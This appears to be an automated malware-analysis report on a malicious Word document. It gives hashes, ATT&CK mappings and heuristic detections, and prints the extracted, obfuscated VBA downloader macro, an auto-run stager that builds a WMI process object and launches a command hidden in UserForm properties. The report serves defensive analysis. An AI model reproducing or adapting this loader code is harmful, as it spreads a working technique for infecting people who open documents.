Doc.Malware.Lemodldr-9206390-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 4fcbaea501cfa7f7…

MALICIOUS

Office (OLE)

175.6 KB Created: 2020-07-30 21:25:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1adc8b14e38540430535427677e26033 SHA-1: 77a0de046dc5ca45ac551614d946212634e60d42 SHA-256: 4fcbaea501cfa7f7e6602f3894bd6a242181cb6d193fc4e5d6d8cec0166465a4
262 Risk Score

Malware Insights

Doc.Malware.Lemodldr-9206390-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The ClamAV detection name 'Doc.Malware.Lemodldr-9206390-0' suggests it is a known document malware loader. The primary function appears to be executing obfuscated VBA code to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Lemodldr-9206390-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Lemodldr-9206390-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5256 bytes
SHA-256: 21d398aa8146cf51334c4856f24496523f93cc34315ab928e34487f0e697e02a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "USSUKupubftm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
FKRNQagvzffhkh.XQJDMwqktwzxe
End Sub


Attribute VB_Name = "FKRNQagvzffhkh"
Attribute VB_Base = "0{AF707956-F792-4082-99F5-71E91AF3C973}{45C5FFDF-5380-4144-A3D0-79C875AD329E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function XQJDMwqktwzxe()
KVn3Y4Áw0ÔA = 4
Do While KVn3Y4Áw0ÔA < 4 + 8
KVn3Y4Áw0ÔA = KVn3Y4Áw0ÔA + 8: DoEvents
Loop
Dim f8ÖXW2ÄqDXRG As String
f8ÖXW2ÄqDXRG = Replace$("QnUsbBw4ÄKnTibrA", "QnUsbBw4ÄKn", "for")
Dim GD5ÕFBF6ÒuvD As Integer
GD5ÕFBF6ÒuvD = 9
Do While GD5ÕFBF6ÒuvD < 9 + 4
GD5ÕFBF6ÒuvD = GD5ÕFBF6ÒuvD + 9: DoEvents
Loop
SXRWHnvzihgolqyi = Chr(FKRNQagvzffhkh.Zoom + ((50 + 50 + 20) / 8))
Dim hdgKyIb4ÛjC As Integer
hdgKyIb4ÛjC = 5
Do While hdgKyIb4ÛjC < 5 + 5
hdgKyIb4ÛjC = hdgKyIb4ÛjC + 7: DoEvents
Loop
VZBIHuyktutqbdmu = "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23di838h2782ghhHU*(Y*hioHY*hssn2n23dnm838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dgm838h2782ghhHU*(Y*hioHY*hssn2n23dt838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d" + SXRWHnvzihgolqyi + "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d:838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23din838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d3838h2782ghhHU*(Y*hioHY*hssn2n23d2838h2782ghhHU*(Y*hioHY*hssn2n23d_838h2782ghhHU*(Y*hioHY*hssn2n23d" + FKRNQagvzffhkh.QLWTLcgmedahamjyi + "838h2782ghhHU*(Y*hioHY*hssn2n23dro838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dce838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23d"
Dim FsVG As String
FsVG = Replace$("HfOnkMLa2ÄVOemSbJg", "HfOnkML", "jvSb5ÁQHX")
DPXGMnyegsfpmu = PDEXMtkcfxiq(VZBIHuyktutqbdmu)
Dim J6áq4ÕR0Â As String
J6áq4ÕR0Â = Replace$("AyA7ÌWYeuUqBUfFDdc", "AyA7ÌWYeu", "ZvXdXZCY")
Set NHAHGpfjeagluivnrvu = CreateObject(DPXGMnyegsfpmu)
Dim Es7Ëtfr As Integer
Es7Ëtfr = 8
Do While Es7Ëtfr < 8 + 3
Es7Ëtfr = Es7Ëtfr + 9: DoEvents
Loop
PSZVJntkwyfgq = FKRNQagvzffhkh.GELXVidwmlfprefm.ControlTipText
wcNZtnpFpA = 8
Do While wcNZtnpFpA < 8 + 2
wcNZtnpFpA = wcNZtnpFpA + 3: DoEvents
Loop
UDMFIurhbxrdzwnp = UOJSI + (DPXGMnyegsfpmu + SXRWHnvzihgolqyi) + (FKRNQagvzffhkh.ULSNUechqvbxqh.ControlTipText + PSZVJntkwyfgq)
Dim n6Àq As String
n6Àq = Replace$("CO6ÃiqdotmZmIRVG", "CO6Ãiq", "vQLr1È1ÉlU")
MZFRXkmaeafdnacopu = UDMFIurhbxrdzwnp + FKRNQagvzffhkh.QLWTLcgmedahamjyi
Dim S3Â6Å2Ù0álsZh As Integer
S3Â6Å2Ù0álsZh = 8
Do While S3Â6Å2Ù0álsZh < 8 + 3
S3Â6Å2Ù0álsZh = S3Â6Å2Ù0álsZh + 2: DoEvents
Loop
Set EMPHJpbdvuiucntl = TPVFUowsxnvs(MZFRXkmaeafdnacopu)
Dim DYilPBNgb As Integer
DYilPBNgb = 1
Do While DYilPBNgb < 1 + 3
DYilPBNgb = DYilPBNgb + 2: DoEvents
Loop
vfde = Array("qnoih hiqwio hiossisi", NHAHGpfjeagluivnrvu. _
Create(TDHLJnitipuv, OCTIJlugebeirqdzu, EMPHJpbdvuiucntl), "ihqwi hqiodhos aihidoqi ")
Dim XK6ÎihXYdel As String
XK6ÎihXYdel = Replace$("wavIaG7ÈJkjfEdjegJfp", "wavIaG7ÈJkj", "FnaL0ÍW0Óf")
End Function
Function TPVFUowsxnvs(ZNGYVbivthaqkkmh)
Set TPVFUowsxnvs = CreateObject(ZNGYVbivthaqkkmh)
Dim rFn As Integer
rFn = 1
Do While rFn < 1 + 7
rFn = rFn + 1: DoEvents
Loop
TPVFUowsxnvs.showwindow = (MMYEQyrsvuhjeaadd + HLGMJftqvxcmpsyssh)
Dim qIft6Ãs5ÅR As String
qIft6Ãs5ÅR = Replace$("G1ÕvQLrK5Æ5ÔUtrS", "G1ÕvQL", "Dh3É")
End Function
Function PDEXMtkcfxiq(ENAAOekrdwqsad)
QLNYLaqpmwclhlz = ENAAOekrdwqsad
Dim UlsZhPn As String
UlsZhPn = Replace$("pDYilPBNgBIav5ÐX2Çt", "pDYilPBNg", "DGwj")
RPPRXyuhaivpjdjljj = Split _
(QLNYLaqpmwclhlz, "838h2782ghhHU*(Y*hioHY*hssn2n23d")
Dim 
... (truncated)